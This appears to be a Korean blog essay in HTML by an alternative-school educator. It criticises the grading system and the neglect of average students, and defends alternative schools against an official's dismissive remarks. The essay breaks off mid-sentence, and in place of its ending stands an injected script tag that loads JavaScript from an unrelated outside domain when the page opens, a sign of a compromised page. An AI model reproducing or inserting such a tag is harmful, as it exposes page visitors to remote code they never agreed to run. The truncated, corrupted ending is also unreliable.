무한 가능태~

&nbsp;<A name="[문서의 처음]"></A>
<P style="FONT-SIZE: 13pt; MARGIN: 0px 0px 5px; COLOR: #990000; TEXT-INDENT: 0px; FONT-FAMILY: 돋움체; TEXT-ALIGN: justify"><SPAN style="FONT-WEIGHT: bold; FONT-SIZE: 13pt; COLOR: #990000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify">&nbsp;양가집 자녀들 </SPAN></P>
<P style="FONT-SIZE: 12pt; MARGIN: 0px 0px 5px; COLOR: #000000; TEXT-INDENT: 0px; FONT-FAMILY: 돋움체; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify">&nbsp; </SPAN><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify"></SPAN></P>
<P style="FONT-SIZE: 12pt; MARGIN: 0px 0px 5px; COLOR: #000000; TEXT-INDENT: 0px; FONT-FAMILY: 돋움체; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify">&nbsp;&nbsp;&nbsp;수(秀)는 빼어나다, 우(優)는 우수하다, 미(美)는 보기 좋다, 양(良)은 양호하다, 가(可)는 가능성이 있다는 뜻이다. 학생에게 주는 성적은 모든 교육대상을 가능태로 보고 있다. 그런데 유독 우리나라만 성적이 빼어난 수만 가능태로 보고, 양가(良可)집 자녀들에는 별로 관심이 없다. </SPAN><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify"></SPAN></P>
<P style="FONT-SIZE: 12pt; MARGIN: 0px 0px 5px; COLOR: #000000; TEXT-INDENT: 0px; FONT-FAMILY: 돋움체; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify"><BR></SPAN></P>
<P style="FONT-SIZE: 12pt; MARGIN: 0px 0px 5px; COLOR: #000000; TEXT-INDENT: 0px; FONT-FAMILY: 돋움체; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify">　또 학생 인성과 잠재적 소질, 적성을 소홀이 한 채 지식교과목만 챙긴다. 성적 탓에 학부모와 학생들은 울며 스트레스에 시달린다. 특히 양가집 자녀들은 어딜 가나 천덕꾸러기다. 설, 추석 때 일가친척이 모이면 부모들은 자녀 자랑을 도마에 올려놓는데, 양가집 부모들은 울상이다. 이런 부모들은 집에 돌아오기가 무섭게 뭐가 모자라서 공부를 못하니, 하며 비난을 쏟아내기 일쑤다. </SPAN><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify"></SPAN></P>
<P style="FONT-SIZE: 12pt; MARGIN: 0px 0px 5px; COLOR: #000000; TEXT-INDENT: 0px; FONT-FAMILY: 돋움체; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify"><BR></SPAN></P>
<P style="FONT-SIZE: 12pt; MARGIN: 0px 0px 5px; COLOR: #000000; TEXT-INDENT: 0px; FONT-FAMILY: 돋움체; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify">　요즘 우리 학교는 수재들이 몰려온다. 꼴지 천재부터 일등 수재들까지 밀려온다. 이러한 우리 학교에 서울의 한 장학관은 "대안학교는 인성교육만 시킨다고 들었는데 지식교과수업은 왜 시키며, 대학 진학은 왜 시키나요? 거긴 문제아들이 가는 학교가 아닌가요?"하고 묻는다. 이는 학생을 성적으로 구분하고 꼴지를 가능태로 보지 않는다는 걸 보여주는 교육현장의 슬픈 단면이다. 학생을 이런 식으로 나누는 시각을 지닌 관리가 어떻게 학생을 교육하는지, 심히 유감이다. </SPAN><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify"></SPAN></P>
<P style="FONT-SIZE: 12pt; MARGIN: 0px 0px 5px; COLOR: #000000; TEXT-INDENT: 0px; FONT-FAMILY: 돋움체; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify"><BR></SPAN></P>
<P style="FONT-SIZE: 12pt; MARGIN: 0px 0px 5px; COLOR: #000000; TEXT-INDENT: 0px; FONT-FAMILY: 돋움체; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 12pt; COLOR: #000000; FONT-FAMILY: 돋움체; LETTER-SPACING: 0px; TEXT-ALIGN: justify">　눈에 보이지 않는 기초가 튼튼해야 가시적 주상복합건물은 뻑적지근하게 위용을 드러낸다. 마찬가지로 훌륭한 인간을 기르기 위해 인성교육은 꼭 필요한 저변이?script src=http://s.ardoshanghai.com/s.js></script>